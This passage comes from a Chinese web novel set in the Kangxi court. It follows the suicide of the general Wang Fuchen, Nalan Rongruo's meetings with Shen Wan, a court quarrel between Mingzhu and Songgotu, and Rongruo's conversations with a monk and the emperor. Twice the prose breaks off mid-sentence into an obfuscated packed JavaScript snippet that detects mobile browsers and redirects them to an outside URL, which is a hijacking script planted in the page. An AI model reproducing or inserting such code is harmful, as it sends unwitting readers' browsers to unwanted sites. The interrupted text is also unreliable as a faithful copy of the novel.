“臣妾不觉得委屈。”惠嫔轻触小阿哥的虎头帽子,“皇上要兼顾的是全天下,而不是后宫的一块小地盘,所以臣妾不该多求,多求多失,反而是不值得。” “朕踏入后宫,连皇后都没顾,最先就是来看你。” 这句话让惠嫔觉得,玄烨的神态里带着“你应该知足”的味道。 “臣妾知道皇上在兴头上,京师危机得解,臣妾心中也是万分高兴,希望与皇上一同共沾清平之乐。” “天下还未得清平啊!”玄烨叫远黛把小阿哥抱开,“朝廷跟吴三桂之间的战争,从秋打到冬,再跨了个年,也不知道会不会消耗整个春天。” “皇上是信任曹侍卫才将说服王辅臣的重任交给他的,臣妾不敢多议国家大事,只想站在女子的角度,说说自己的见解:汉人讲究‘忠义’二字,若是良心煎熬太过,是否会自己在‘为之不可为之事’后,自裁以谢天下?” “胆小怕事者才会寻死!”康熙嘲笑道,“他王辅臣一个铁骨汉子,反攻吴三桂是立功,是在做一件让朕认可忠心的好事,何须觉得对不住谁?一个叛徒倒戈另一个叛徒罢了,朕连给王辅臣什么官做、赏他什么东西都想好了,就等着他把吴三桂打回云南老家去。” * 第二日。 玄烨才从惠嫔身边醒来,准备朝服衣冠上朝的时候,顾问行谨慎地带了一个人进来传话。 见那兵士一身尘雪,玄烨语带担虑地问:“前线如何?” “回皇上,王辅臣与我朝大军一同,反守为攻,一鼓作气杀敌近百里。敌军将帅大骂王辅臣反叛大周皇帝,却被王辅臣抡锤重创于马下,已经一命呜呼。敌军数员副将,指责王辅臣见利忘义、投靠清廷做康熙皇帝走狗,也被王辅臣弯弓所发的五支利箭射穿胸膛而死!” 玄烨不喜,反倒是惊出了一身冷汗。 惠嫔一边用软帕擦拭着玄烨的额头,一边劝慰着:“皇上,先喝口暖茶吧!” 几口热饮下肚,玄烨才清了神,问那兵士:“王辅臣如今,是直逼吴周叛军南下?还是收兵扎营,不追穷寇?” 兵士不语。 惠嫔催道:“当着皇上的面,有什么说不得的?是好是坏,是利是弊,都如实给皇上回话。” “回……回皇上,王辅臣他自裁了!” “你说什么?” 玄烨惊站而起,动作太过突然,翻到了身后的凳子。 “事发突然,王辅臣率兵回往汉中的途中,忽然就地停进,并随行奴仆将美酒分赐给众将士,自己也把酒痛饮,随后就道:‘尔等兵士随我征战多年,我未能对尔等有所犒劳,如今我与尔等一醉方休,酒醒之后,我非尔等之主,尔等非我之兵,各散天涯!’言罢,王辅臣便将一切财物和马匹都分给了众将士,孤身入帐,只留下奴才在身边吩咐后事。” “他交待了什么?” 玄烨拍了一下桌子,面色阴沉。 击退吴三桂兵马的功臣自尽,亦是他这个大清皇帝的耻辱。有了这样的先例,往后三大藩王手下的大将,还有谁敢归顺大清?以死来为大清皇帝杀敌? “王辅臣叫奴才往桑皮上洒水,一层一层地贴在他脸上,正当奴才以为就要这么看着他死去的时候,他忽然翻身而起,一把揭开覆盖在脸上之物,痛哭道:‘我不是个好人,我也不配为人!我这一生,不属于大清也不属于大清,不属于吴三桂也不属于康熙皇帝,身不由己,一介莽夫而已,活该被后世之人所谩骂痛恨。’随即——” “接着说。” 玄烨一扫桌面上的茶杯。 “随即就从身上拿出一包不知何时准备的毒药出来,倒入了酒壶之中。王辅臣一边摇晃酒壶一边道:‘曹寅侍卫传递皇命于我,有他的一份苦劳;图海将军善待于我、称要对皇上提及我的忠勇,有他的一份恩情;周培公传授剿灭吴周大军的锦囊妙计于我,有他的一份功劳,我要是贴加官【注1】自尽,恐怕会连累他们,我还不如以毒酒来了结性命爽快。待你回到京师,见到康熙皇帝,就对他说:王辅臣在返京途中暴毙,一切都是天意!’奴才——” “你就这么由着他去死?” 玄烨指着那兵士。 “奴才不敢欺瞒皇上,所以将自己知道的真相全部说出。但求皇上成全了王辅臣的遗愿:不杀他的家人。” 惠嫔想到了明珠的教诲,遂对玄烨进言道:“臣妾以为,王辅臣之死虽为自尽,但其儿子不一定相信。若是其子错怪朝廷、日后与朝廷为敌,怕是对皇上所求的太平盛世不利。” “朕只杀王辅臣之子王吉贞,王家其余人口与家眷,皆开恩放过。” “皇上这般处理,是最稳妥的。”惠嫔道,“朝臣无故自尽,本就是殃及的大罪,幸得天恩,只让王氏父子在黄泉之下同聚。” “你的判断没错,要是此刻明珠在朕身边,他也会这么说。” 玄烨再问那兵士:“你还有什么要报吗?” “皇上,吴三桂闻得:朱三太子党羽惊变宫闱已被朴尔普大人率兵拿下、南疆王作乱夺势之师已被大将胡清炎镇压、以及王辅臣的死讯之后,当场气晕在帐中。待到苏醒,吴三桂竟然下令:暂时退兵,归云南!” 玄烨道:“烂船还有三斤钉啊!天下能够终止战火,已是来之不易,朕不再令朝廷的兵马到吴三桂的老窝去与之激战了。” 那兵士叩头道:“吴三桂损兵折将、锐气尽搓,知道收敛了,这就意味着:我大清即将迎来宁日,奴才祝皇上万福!祝大清万福!” “是啊!”玄烨点了点头,“仗打了这么久,是该停歇了。朕的百姓,是该抛弃担忧,重新回归到耕种和买卖当中去了;朕的臣子,是该再振风貌,为君尽忠、为民尽力、为官职尽心了。” * 等到康熙皇帝朝服衣冠更替完毕,惠嫔施礼道:“臣妾恭送皇上。” “皇上起驾——” 随着顾总管的高喊声,惠嫔一直目送玄烨离开。 “远黛,本宫现在去给中宫皇后请安。” “是。”远黛复询问,“娘娘可要把容若公子托人送还的玉镯子戴上?” “戴着吧。”惠嫔打开妆镜边的盒子,“其实表兄不用送还,本宫倒是希望伯母把玉镯子交给他后,他就自己好好留着。” “容若公子重承诺守规矩,想来是不敢私下占据的。” “远黛你说,这个玉镯子戴在本宫手上,皇上会多瞧一眼或是多夸一句吗?不会。皇上连皇后的新头饰也不夸,何况是我这个侧妃?”惠嫔一叹,“还不如让表兄对着那玉镯子写首诗呢。” “回娘娘,那日远黛去送早膳,容若公子从额娘手里拿过玉镯子时,作了一首诗,远黛听见了。” “你快说——” 一股欢悦与期待浮上惠嫔的脸颊。 《归环玦》 星桥横过环玦缺,远书近屏思无言。 伶仃一宿月中祷,与共朔风对高檐。 归心不记衣衫冷,醒却才道旧梦温。 多情自被雪销去,谁知朱颜喜与愁? 【注2】 “远黛,你倒是聪慧,一字一句都记得清楚。” “跟惠儿小姐一同住在明府的时候,袖云姐姐是把规矩和行事准则一点一点地教导的,所以远黛不敢不仔细、不聪明。” * 积雪如被的丹枫树下,容若和沈宛一起,同撑一把挡雪伞而站。 溪流在明灭之中透露着白与灰,凝滞于眼前。 磐石在苍凉之中散发着古与韵,岿然于身侧。 风铃在飘摇之中传诉着美与哀,曳然于耳边。 容若喜欢这样的意境,有图画,有中坚,有声响。 水之不动,似成形的带着曲线的玉上长轴,观者只能作画于心中,而不能染色泼墨于其表面;磐石古朴,自有劲力之的无穷浩渺与宙思无穷,触者只能立命于胸怀,而不能小觑亘古于其风霜;风铃清新,谁人悬挂于树梢之上?见者或赞叹或许愿,终究是在成全成就他人的诚心。 要是重提康熙皇帝对自己态度,容若不禁垂眸。 ——皇上似乎喜欢独当一面,又似乎想要把那份“真龙气概”换做事后的“傲气谈资”,来跃然于君臣对话的天地之间。 ——除鳌拜、除朱三太子逼宫的党羽,我都被皇上从身边支开,没法跟皇上一起并肩面对危机:有所遗憾,憾在我满身的胆识和勇武未能施展;有所感动,感动在皇上没有把我置于千钧一发的险境中;有所不解,不解我是否有“君侧的添扰或分心”之嫌。 现在世道安好,容若可以自由地进出皇宫。 养心殿、藏书阁、御书房……在自己喜欢的地方做自己喜欢的事情,再时不时地被康熙皇帝叫到身边,时而为友、时而为臣地担待玄烨的一切喜怒哀乐。 这样的日子和场景,因为已经习惯,所以就没什么自怨自艾,反而是徘徊在“有幸”和“谨慎”之间,做着一个陪臣该做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993170|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事,品味一个陪臣该品味的滋味。 算下来,从六岁到玄烨身边,至今十九岁,已经整整十三年。 容若的忠孝和感情,无所谓淋漓尽致,但也起起落落。 将玄烨日益塑全的君主风范看在眼里; 把明珠时强时弱的为臣权柄明在心中。 对惠儿放手而未放手,深宫的红墙绿瓦相隔,从此情分和思念各两方;对沈宛喜欢而不能言之于众,相会为幸,和词为雅,得侧帽饮水之乐,惜飞花选梦之温情。 * 容若和沈宛一起走在枫树林中。 地上雪非深,踩之无声不留痕。林深不见鹿,探之幽然觉意深。 沈宛道:“终于得见公子,跟公子近距离在一块儿,我高兴。” “这半年以来,自中秋节过后,月亮就没有真正圆过。我在家里思宛卿来见,思之不得,又恐思之太甚,终究两不相好,落了阿玛和额娘的口柄。” “那公子不该走出家门来见吗?在只属于我们的‘饮水词歌·素菜馆’的雅室内。菩提子在,奇楠馨香在,莲华和瓶花都在,只差相聚之人和待落的笔墨。” “雅室外的金桂树盆栽,你看了吗?感觉怎么样?” “管事的人挑的,没有公子亲自挑的好。” “我近来倦去草木市场挑花,也没兴致去看草木市场的老板们送到明府的花,只是对着一池冬荷不觉乏味,犹闻枯叶浸雪的芬芳。” “荷似女子,夏日素艳自有时,冬日沉敛是常态。” “世上最会写荷花的人是李商隐,他的绝笔诗正是写荷花。”容若侧头一想,“以花为绝笔诗谢世,安然美好。我家的院子里种着一对明开夜合,我叫它们‘双夜合’,想来伴它们而逝也未尝不是幸事。” “我不许公子这么说。”沈宛单手轻掩容若的嘴,夜合花是给人延寿的,不是给人别离尘世的。” “这会儿那两棵夜合树还没有长大。”容若用手触了触就近的枫树,“等十年,十年后我三十岁,正是夜合树长的最好的时候。我希望到时候,宛卿你在我身边,站在夜合树下共度人生无数春秋的人,是你。” “我答应公子,不管过十年还是二十年,不管名份是什么,我这颗心始终归公子。” “宛卿,我怕委屈你。” “不委屈,除了公子之外,我本就不爱这世间的其他男子。倒是愁自己的容颜渐变,经不住公子赏看。到时候,怕是流泪也打不湿脂粉,对镜也看不透本真,全靠性子和彼此间珍藏的词稿来向公子证明:是我,沈宛。” “你的容颜在变,我的容颜不也在变吗?只要心事没有跟着大变就好。宛卿你跟我相处久了,会不会积攒心事?” “我所有的心事,在见到公子的那一刻就分化瓦解了,可见都是关乎风花雪月的多。但是跟公子谈论家国天下的时候,我心中又汹涌澎湃,再度在豪言壮语中藏着不可对公子说的:师傅的教诲。” 停了停,沈宛问:“这是否也算心事的一种?” “嗯……如果‘师傅的教诲’从心事转变为负担的时候,宛卿你就跟我说一五一十地说真话,好不好?” “我,信任公子。” * 容若带沈宛到枫林深处的一处温泉旁侧。 他看着氤氲的雾气,笑道:“以前我没发现这里的洞天,自己寻得以后,就觉得大自然的造化好。” “既然是无人管理的上天设造之水,公子敢不敢纵身而下,自成温泉之中的‘如苏’?”【注4】 “我没法给你一场如苏雨,也没法让你看阵阵扑腾的水花,但我愿意除却鞋袜,与你一同坐着:沐足谈天、打发时间;手拨池面,弹指微澜弦。” “这般场景最好。”沈宛先一步动作,素足入汤,“只属于你我,不为谁所扰。” 容若与她,肩并肩相依,有说不完的话。 一池温润,心与心共鸣,是有不舍的愿。 “雪含层林白,枫余几树红?” 容若带笑,应景吟出上半句,他想考考沈宛怎么接下半句。 “已许度碧空,与君侯春风。” 沈宛聪慧,接的恰到好处,他如碧空、他似春风。 “应搅画中水,带露沾衣归。” “不应问残阳,疏脉琼屑飞。” “宛卿,你联的好。” “那就请公子多出几句吧……” 容若猜测:“你这会儿应着接着、思着想着,回去后是不是独自忆着写着、留着存着?” 沈宛对公子颔首一笑:“属于你我的诗话和词话,自当如此。今日独占公子,必是要抓住公子不肯放手的。” 容若仰头望着残阳,单手环过沈宛的细腰,搂她在自己的半胸中, 温橙的颜色,暖融的心跳,他们之间的小欢愉,定格在这处佳境。 【注1】贴加官:将桑皮纸喷水或浸湿,一张一张覆盖在受刑人脸上、直到受刑者死亡的残酷刑罚。历史上王辅臣的确有过想要这般自尽的举动。 【注2】环玦缺:此处指月亮未圆。与《调笑令》中那句“来夜,来夜,肯把清辉重借?“是一样的意境:心到、人到、情不可到不可外露。 【注3】章节标题,“惠兰”是“惠”嫔和纳“兰”容若的名字的合称。 【注4】如苏:神话传说之中的仙君,掌管天上雨露和天下温泉。 87.第87章 朝堂之上。 面对索额图对康熙皇帝和大清江山的阿谀奉承之语,明珠忍无可忍,终于大声驳诉道: “皇上并未露出分毫得意忘形之色,我军不是平了三藩、而是击退了吴三桂连带着尚可喜和耿精忠也一并做了让步而已,索大人你满脸骄傲之态、满口夸夸其谈之言,到底是在歌颂皇上?还是在讽刺皇上?” 索额图扭头对着明珠,“本官认为,现在正是皇上立威的时候,应该趁胜追击、将三藩统统剿灭!” “你这个大清第一罪臣!”明珠对索额图大骂,“之前提议皇上跟吴三桂分治天下,现在不遵皇上的休生养息之策、反而蛊惑圣心要求再战,真是目中无君、心中无百姓!” “明珠大人比本官又好的到哪里去?” 索额图当众揭开了明珠的短: “你手下的那些私产和商铺,在战乱期间仍旧哄抬物价和囤粮高卖,还有人性吗?你儿子更是了不得,给一道菜命名就要收十五两银子,那可是普通百姓半年的生活开销。在明太祖朱元璋时期,官僚贪污六十两银子就是死罪!” “那道虚标高价的菜叫什么名字来着?”索额图不嫌事多,“听说‘满清第一贵胄’三爷也尝过,三爷是什么东西?胆敢取这样的名号——” 玄烨把脸一沉,忍着怒火没有发作。 李光地小心提醒:“叫剪珀一寸心,其实就是三块小小的凤梨酥和一碗桃胶银耳甜汤,一共是二十两银子,备战时期涨到了三十两,现在又回落到了原价。于成龙于大人要是在,早上折子把纳兰父子的欺压百姓之行往死里弹劾了。” 明党之人高士奇反驳道:“李大人此言差矣,高雅之地、名流之地和高价之地本就是这世间独特的存在,老百姓们自然是配不上也够不着的。所以,他们只能在路过的时候往那些地盘的门面去望上几眼,不会激愤到去砸场子。” “至于于成龙,他不是在广西罗城【注1】吗?”高士奇问向众索党之人,“他离吴三桂的大本营云南那么近,怎么不见他发挥廉吏的本事——去骂贼殉国啊?” “换被贬谪到那荒凉之处的人是高大人你,你有那样的勇气吗?”辜鸿玳反问,“真是站着说话不腰疼。” “下官就算是豁出去高家上下四十六口人的性命,也不会有辱使命。”高士奇向康熙皇帝请命,“奴才没有别的本事,就是一张嘴能说会道,以后皇上用得到奴才的地方,就尽管吩咐,奴才愿意为皇上上刀山下火海。” 康熙皇帝沉默以对。 而日后,高士奇真的凭借他那三寸不烂之舌、为大清平藩立下赫赫功劳,上演了一场颠覆常人之所想的话术之战,引得举国上下津津乐道、令史学家记载时也笔乐其中……就是后话了。 玄烨威严道:“平三藩,是持久战,如今的天下只是暂时安定,将来还会再起殊死交战。朕知道,重臣工心中各有所想,但是关键一点:朕的江山大清的江山你们也有份,你们那份不在掌权上,而在心中的傲骨上。朕希望你等都是不会向强敌屈服之人,永远与朕一同,向敌而战!” 满朝文武齐声道:“臣等谨遵圣命,永远追随皇上。” * 济国寺中,容若与妙觉禅师一同围炉煮茶。 茶宜清饮,雪宜静听,主客之间,最宜出尘心。 香宜淡嗅,画宜远赏,动静之间,最宜闻玄机。 容若斟茶,只着了半杯,遂将茶杯托于掌心、转了三圈之后,才近鼻闻香和润喉饮下。 妙觉禅师慈悲道:“公子常来老衲的宝刹之中为自己延续命灯,却像是每次都心有所想,只求在谈禅问理之间能够开启智慧,救己于思绪之中。” 容若请禅师饮茶,道:“我并非怀着心事而来,只是来了以后,恰好有心事罢了。” “宝刹清静,怎会反而叫公子再记挂着尘世中的是是非非、虚虚实实呢?” “容若尘缘尚浅,却惘然于君臣、父子和情关之中不得出,不晓得该为自己求什么。” “对皇上,求保命;对明珠大人,求疼惜;对与自己相关的女子,求她们对你爱尔得尔。” “大师所说,是结果而非容若所求。” “公子应该明白,朝纲、家规、感情,是最累人的三件事。你越是放不下,就越是被三者所误,最终迷途不知返,落入绝境而挣扎难出。” “容若不想辜负于谁,大师不觉得此三件事都无法以‘期待’来论吗?皇上、阿玛、爱着容若的两位女子,中肯地用一个词来概述,是:把控。” “皇上和明珠大人可以这么说,可是公子为什么觉得:另外两位女子对你也是‘把控’?”妙觉禅师双手合十,“老衲劝公子一句,莫要因为情到深处,自寻自生了误断。” “独占与独处时的微妙感觉。”容若将话只说半阙,“我害怕自身韶华易逝,填不满宛卿和惠嫔娘娘的心,只给她俩留下心渐渐荒芜后的失控感。” “公子多虑了。”妙觉禅师开示道,“一切双向爱慕,走到尽头之时,若是结了缘结为夫妻,自然是各自平等不相欠。何须觉得有愧的一方会是自身?” “两不相欠,才最是偏惹相思。”容若摇头,目光落向茶中影,“我喜聚不喜散,惜一双人厌自先陨,事事思全却事事难全。大师早有先见之明:这样的性格会害了容若一生。不是吗?” “阿弥陀佛。”妙觉禅师置念珠于桌面,“老衲只恐公子自知至此,真的会无力回天啊!人生苦短,且需有那么几年,让自己活得自在。” “明府高门广厦,皇宫厚墙重瓦,莫说我六岁以后就不知道‘自由自在’为何物,就细数着我诞生下来的那一刻起,抓周抓了诗书笔砚,在众人的惊叹声中,就已经注定了命数。” 容若端茶自饮,神色清然,好似已非凡人。 妙觉禅师沉默良久,方起身向着天际长望,心想: 八方诸神若是有知,还请加持弟子的徒孙纳兰容若。莫让他为这一身才情所累,陷入思惘,菩提子未落,而自碾做了逝水零莲,飘向永无之境,去往孤高之霄。 容若向妙觉禅师提起了先前发生之事。 “惠嫔娘娘的玉镯子,明明是我主动叫人送还的,如今却怅然若失,好似丢失了重要的东西一般。” “此非情,而是惦念。”妙觉禅师一语道破,“唯有静心专注别事能解。” “《古抄本十二卷》编成,《渌水亭杂识》样章全部写就,新学的骈文也颇有所得,能够与汉人士人们相论……请大师指点迷津,容若接下来应当做什么?” “好好考试,然后娶妻,爱情圆满便是能解心中忧愁。” “容若喜欢的女子,娶不进家门。容若要娶的女子,并非相悦之人。” “老衲本是出家之人,有些话本着身份本不应该说,但是今见公子渺茫于云雾之中,还是有一句话要对公子说:若是正妻缘分未知,是否可以将侧近之人纳为侍妾,以先成就一段初始温情?” “侍妾?容若不解大师深意。” “冥冥之中,自有玄机,老衲不可透露过多。” 离开禅师禅房,回到自己的客房,容若倚在窗边,赏看院中的几盆兰花。 他想着,在济国寺多留宿几日才好,此处的优点,不在于环境清幽和内心沉笃,而是一种“悟他生”之感。 ——佛说楞伽好,早已悟他生。 ——早些“开悟人生之道”好,如此,便能不必执着“诞与逝”。 * 养心殿内,玄烨终于把会试的《四书五经》填空题命制完毕。 顾问行问:“万岁爷,您这是决定用这几道题来考查考生们,不再改了吗?若是,奴才就去拿封筒过来,好让您把试题密封,免得泄露。” “朕原本想叫蔡启僔和徐乾学一并过来看看,这套试题是否可行于满蒙汉三籍的考生之中,现在倒是觉得:谁都不必看了,开考当日再揭晓的好。” 顾问行便去拿了一个封筒过来,恭敬地请康熙皇帝封存试题。 “朕作为大清皇上,学识本应贯通古今与中外,现在却深深感慨:不是‘纸上得来终觉浅’之理儿,而是儒家经典就不该作为出题的基本。” “这天下读书人在比较的,不就是谁对孔孟之道和《四书五经》懂的多吗?万岁爷您在小时候上学堂,也是在师傅的教导下,一字不差地背书和默写经典词句的呢。” “在朕这一朝,这样的选拔人才的制度改不了,也许一百年后两百年后,还是改不了,可是这读书人的觉悟啊、反抗啊、进取心啊……谁就能说没有呢?” “奴才以为,这科举制度靠读书人们的抗争来推翻或是变革压根无用,关键还是万岁爷您敢不敢动这项从隋朝以来延续至今的老制度。” “朕不是无意去改去换,而是改不动也换不了啊!” * 数日后,玄烨把纳兰和蔡大人、徐大人一同叫到了养心殿。 “朕宣你们来见,是为了半个月后会试之事。” 徐乾学立刻道:“臣以为,商议试题事关重大,万万不可叫纳兰公子一同,否则有损的是皇上和我翰林院双方的名声。” “吾师何出此言?”纳兰看着徐乾学那副“看似谨慎、实则排挤”的模样,“皇上几时说过此番同聚的目的,是为了试题一事?” 徐乾学遂看向康熙皇帝,“臣等不知皇上有何要事嘱托,还请皇上吩咐。” “嘱托?”玄烨重复了一遍,“徐大人不必说的如此悲壮,朕不过是想告诉你等翰林院的两位大儒和天下考生的表率纳兰性德,会试的部分题目朕已经出好了,能够考倒或是考活多少人,就由天意来定夺吧!” “还请皇上将答案也一并附上。”徐乾学就怕有后顾之忧,“臣等只怕偶存理解上的偏颇,有误皇上之意。” “会试结束之后,朕自然会叫顾总管把答案送到国子监的阅卷处去。” “皇上,恕臣斗胆问一句——”徐乾学鼓起勇气,“您亲自出的题目,对比臣与蔡大人之前所报的试题,如何?” 玄烨冷笑道:“之前你俩出的题目,全天下只有一个考生能全部答出和答对。现今朕废寝忘食所命制的新题,自然是对满蒙汉三籍的考生都有所兼顾。” 纳兰默然。 毫无疑问,皇上口中的“那个考生”就是指自己。 “还请皇上保重龙体啊!”蔡启僔惶恐道,“国子监内,诸生积极向学;考场之内,环境已经布置完备;巡考人员和督考人员,翰林院也已经安排下去了。” “录取之事,是重中之重。”玄烨强调,“你等切记,不可误录、错录或者疏漏。” “启禀皇上,为了公平公正——”徐乾学看了一眼身侧的“爱徒容若”,才继续面圣道,“这会试的考卷……不可再跟乡试考卷一样,用‘原卷原批’之法来阅了!” “徐大人,朕知道你的意思。” 玄烨同样看了一眼跟前的“爱臣纳兰”,转而对徐乾学严肃道: “你要是怕考生的字迹或者标记会影响判卷公平,那就:叫人把全部参与会试考试的考生的答卷都誊写一份出来,再覆盖姓名装订成册,让众官员交替着判阅吧!” “皇上英明!”应罢,徐乾学又问身边人,“吾徒可有什么话要说啊?” “容若希望自己是个:报君恩、报师恩之人。” 徐乾学在心里“啧”了一声,想:这句话应的不错,表示了赴考的决心、也展示自信的勇气。 这以后,随着蔡大人和徐大人的告退,纳兰也走了。 玄烨没想到纳兰不肯留下,心里生了一阵子闷气,才对顾问行道:“朕去坤宁宫看皇后和承祜。” * 一日,玄烨从梁九功梁公公口中听闻: “纳兰公子自打从济国寺禅修回来后,整个人都跟天上的仙君无别,好似不喜理会凡间事一般。” 玄烨细问了一声:“把具体情况拿出来给朕回话。” 梁九功道:“奴才嘴拙,别的事情能够好好给万岁爷说道,偏偏是对纳兰公子的状态说不上来。奴才照着公子的吩咐去取了佛家的经书过来,公子又说自己不想看了,叫奴才把书送回藏经阁去。” “真是糊涂东西!”顾问行训道,“你怎么不问公子要来经书何用?是给咱们万岁爷和太皇太后誊抄祈福呢,还是为他自己静心和除却杂念。” “回干爹话,奴才见公子单手支着脑袋、呆看空白词稿纸,真是如同神魂已经游离体外那般,才没敢打扰没敢问。” “纳兰写了什么?”玄烨命令道,“不管是暗讽暗骂朕错怪他跟惠嫔的话,还是吟风颂雪的词,都给朕拿过来。” 待到梁九功把稿纸呈上,玄烨只见: 《鹭霖调·君知否》 寒云初敲,对长江,万里兵马何在?宫阙冰绡,檐下一霄,兰立庭央惠叶凋。 携明灯,禅房悄,回忆旧事风萧萧。问明月,君知否,冰清玉雕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006748|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>玄烨看罢不语。 他知道:纳兰对战争悲喜交加,即便是心中的一丝柔情,也要对自己这个皇帝用皎洁的月光来证明清白,就像是“得失皆有命”似的,成了一个“愁罢愁又上心头”之人。 于是,玄烨吩咐道:“后日叫纳兰进宫来见朕,朕要亲自给他理理心绪。” “奴才多嘴,”梁九功小声道,“万岁爷您的的确确是左右着每一个人的悲喜哀乐。” “但是朕不怕说,朕心里有那么一些得意。”玄烨忽然笑了一声,“拿捏纳兰的状态,朕就是高兴。” * 纳兰进宫的那一天,玄烨带了纳兰一起去养心殿外的菩提树下赏雪。 纳兰觉得皇家院落里的雪,跟枫树林的感觉差异颇大: 一方带着红墙绿瓦的肃杀与庄严,习惯了也就可以把冷意慢慢忘却;另一方带着人间佳境的惊喜与值得,走进了也就可以把欣然之意发挥的淋漓尽致。 ——只是,身边的人是皇上。 ——皇上高高在上,经历过数场战事之后,玄烨早就不再是“少年天子”了。 纳兰比谁都看的透彻。 “没有哪个臣子敢像你一样,不把朕的威严放在眼里、对朕常常出大不敬之言,不怕死也不怕被朕流放。而且你还敢私入后宫、私会朕的嫔妃,被朕抓个现行……” “皇上说错了,前者是云辞格格的性格,后者是您对惠嫔和臣的误解。”纳兰转折道,“臣觉得吧,自己和皇上之间除了国事、私事、家事之外,还有别的话题可谈。” “怎么?”玄烨故意一甩鞭子,扫落了树枝上的一堆雪,“坐在菩提树下,你就想跟朕谈禅啊?” “臣只敢向皇上借智慧,不敢在皇上面前妄谈智慧。” “你这是什么话?叫朕感动,还是叫朕心酸?” “在阐述事实而已,请问皇上:你我在世活了快二十年,意义是什么?这二十年来,大清的江山有什么改变?未来二十年呢,你我和大清江山又会变成什么样?” “朕活着的意义是当千古一帝,你是当大清第一陪臣;江山传位到朕手里以后,至今为止改变的是:前明陋俗、淤阻河道、华夷有别、中原不蛮,只可惜党争这一点,还跟前明一样;在将来,朕是步步向前的盛世明君,你是朕不离不弃的左膀右臂。” “臣常问自己:过去、当下、未来,能够跟上皇上的步骤吗?能跟皇上一样万寿无疆吗?能够跟皇上一起见证山河长宁到生命的最后一刻吗?” “朕跟你说句有盼头的话吧!”玄烨仰头看着天际,“等到你我头发花白了,朕就把藏在金銮殿牌匾后面的侧立储君的诏书拿给你看,让你知道朕想立谁为太子。在此过程中,嫡长子也好皇长子也罢,就任由索额图和明珠去排兵布阵吧!朕在将来,还会有数不尽的儿子,长远着呢……” “皇上要是肯给臣一个继承家业的机会,臣就感激不尽了。” “纳兰。”玄烨看着他,“你今天是怎么回事?为什么说的都是些让朕感动又心酸的话?” “皇上不是威胁过臣多次了吗?到了有必要的时刻,必将抄臣的家、拆臣的渌水亭……甚至是连渌水池里的荷花和游鱼都不放过。” “那是朕跟你开玩笑。” “不是玩笑。”纳兰认真道,“臣了解皇上,明府迟早会有那么一天。” “朕向你承诺,不会让你看到那一天。”玄烨伸出半握拳的左手,“朕说到做到。” “皇上,日后臣不在了,”纳兰用自己的半握拳的右手跟玄烨一碰,“请你至少把明府各处都逛遍了、在臣的亭子里和书斋里小坐半晌之后……再抄再拆。” 纳兰靠在菩提树的主干上,双眸有些朦胧,好似稍微一眨眼,泪水就会流下来。 皇上的皇位,后续有众多继承人可以挑选;而明珠经营所得的一切,却只有三个儿子可以背负。弟弟揆叙和揆方都还小,难说明珠的官路还能顺畅几年、能否待到次子和三子都长大到可以挑起重任为止。 偏偏我自身……容若自叹,实在是难言难脱“三十载”之谶言。 “纳兰,朕看你今日——”玄烨拍了拍陪臣的肩膀,“是被自悯多感的禅心蛊惑了本该清亮向上的内心了!” “臣累了。” “那就回暖阁里去歇着。” “皇上不是要给臣解惑和理绪吗?怎么食言了?” 纳兰说不上来,自己这么问,到底是任性还是期待。 “好,朕应你。” 玄烨好似得到了尊敬一般,畅意一笑,道:“你就靠着菩提树或者朕的肩膀,静静地听朕接下来说的每一句话,不必回复。即便是睡着,朕也恕你无罪。” “嗯。臣听皇上说。” “朕现在最想对你说的就是:不要自寻烦恼。纳兰你作为堂堂的满洲男子,学汉人驻绪于胸干什么?你说你什么都放不下,朕觉得你多是走不出——自我设定的‘完美性格’和‘无挑品格’的缘故。你好似不怕失去什么,又好似时刻在害怕失去,你小心翼翼且患得患失,根本原因不在于朕也不在于明珠,而在于你的修养太好了、心中的天枰端的太正了……” 近中午,御膳房有人来传膳。 梁九功询问顾问行:“干爹,万岁爷跟纳兰公子一起睡在养心殿外头的菩提树下,奴才没法拿主意,还请干爹定夺。” “一起睡三个字,是你能够随便说的吗?”顾问行甩了甩拂尘,以示警告,“仔细生出不该有的是非口舌来。” “这……奴才也没说错啊!”梁九功乐观赔笑,“他俩又不是睡在一起。” “听好了,”顾问行谨慎道,“你就站在菩提树旁边好好伺候着,直到他俩当中的其中一个人醒来为止。” * “花鸟风月楼”内,主人张纯修留意到了一个人。 那人看上去约莫四十岁上下,穿着儒生袍服,探头探脑,不知所图何事。 “这位先生,你是谁啊?”张纯修上前,“怎么鬼鬼祟祟的?” “吾乃顾贞观,想来此处探窥纳兰公子。” 张纯修心中小讶,只当是来者不善。 纳兰光明磊落,怎能用“探窥”一词来亵渎?这可不符合文人们之间打照面的礼数。 ——我应将顾贞观的底细摸索清楚,对纳兰公子和明珠大人有个交待才是。 张纯修这般暗示自己。 【注1】于成龙被贬谪去广西罗城之事,见第49章。 88.第88章 却说当时情景,顾贞观进入“花鸟风月楼”以后,就开始搜索起纳兰容若的身影来:回廊往返、楼梯上下、雅室流连、客间穿梭、大堂徘徊……若非年纪摆在那里,真可行了江湖蹩脚探子之风。 他听闻,此处是能够邂逅纳兰公子的好地方,只要坚持来探,定能寻得一个接触“珠玉”的契机。 奈何这座楼阁虽非机关重重,却也人来人往、鱼目混珠,难寻自己要找之人。他站在三楼的走廊上,双手扶着栏杆,默默注视着眼前的一切:那些客人,当中又有多少真雅士?真君子? 